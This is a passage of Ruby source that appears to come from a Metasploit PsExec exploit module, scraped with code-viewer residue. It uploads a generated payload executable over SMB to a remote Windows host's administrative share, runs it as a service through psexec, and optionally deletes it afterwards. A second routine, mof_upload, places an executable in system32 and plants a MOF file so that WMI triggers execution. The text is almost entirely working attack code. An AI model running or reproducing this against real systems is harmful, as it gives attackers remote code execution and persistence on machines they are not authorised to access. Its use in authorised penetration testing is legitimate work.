fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
|
||||
else
|
||||
subfolder = false
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
fd = smb_open("\\#{filename}", 'rwct')
|
||||
end
|
||||
exe = ''
|
||||
opts = { :servicename => servicename, :serviceencoder => serviceencoder}
|
||||
begin
|
||||
exe = generate_payload_exe_service(opts)
|
||||
|
||||
fd << exe
|
||||
ensure
|
||||
fd.close
|
||||
end
|
||||
|
||||
if subfolder
|
||||
print_status("Created \\#{fileprefix}\\#{filename}...")
|
||||
else
|
||||
print_status("Created \\#{filename}...")
|
||||
end
|
||||
|
||||
# Disconnect from the share
|
||||
simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
|
||||
# define the file location
|
||||
if datastore['SHARE'] == 'ADMIN$'
|
||||
file_location = "%SYSTEMROOT%\\#{filename}"
|
||||
elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
|
||||
file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}"
|
||||
else
|
||||
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
|
||||
end
|
||||
|
||||
psexec(file_location, false)
|
||||
|
||||
unless datastore['SERVICE_PERSIST']
|
||||
print_status("Deleting \\#{filename}...")
|
||||
#This is not really useful but will prevent double \\ on the wire :)
|
||||
if datastore['SHARE'] =~ /.[\\\/]/
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
begin
|
||||
simple.delete("\\#{fileprefix}\\#{filename}")
|
||||
rescue XCEPT::ErrorCode => e
|
||||
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
|
||||
end
|
||||
else
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
begin
|
||||
simple.delete("\\#{filename}")
|
||||
rescue XCEPT::ErrorCode => e
|
||||
print_error("Delete of \\#{filename} failed: #{e.message}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def mof_upload
|
||||
share = "\\\\#{datastore['RHOST']}\\ADMIN$"
|
||||
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
|
||||
|
||||
# payload as exe
|
||||
print_status("Trying wbemexec...")
|
||||
print_status("Uploading Payload...")
|
||||
if datastore['SHARE'] != 'ADMIN$'
|
||||
print_error('Wbem will only work with ADMIN$ share')
|
||||
return
|
||||
end
|
||||
simple.connect(share)
|
||||
exe = generate_payload_exe
|
||||
fd = smb_open("\\system32\\#{filename}", 'rwct')
|
||||
fd << exe
|
||||
fd.close
|
||||
print_status("Created %SystemRoot%\\system32\\#{filename}")
|
||||
|
||||
# mof to cause execution of above
|
||||
mofname = rand_text_alphanumeric(14) + ".MOF"
|
||||
mof = generate_mof(mofname, filename)
|
||||
print_status("Uploading MOF...")
|
||||
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
|
||||
fd << mof
|
||||
fd.close
|
||||
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
|
||||
|
||||
# Disconnect from the ADMIN$
|
||||
simple.disconnect(share)
|
||||
end
|
||||
|
||||
def report_auth
|
||||
service_data = {
|
||||
address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
|
||||
|
|
Loading…
Reference in New Issue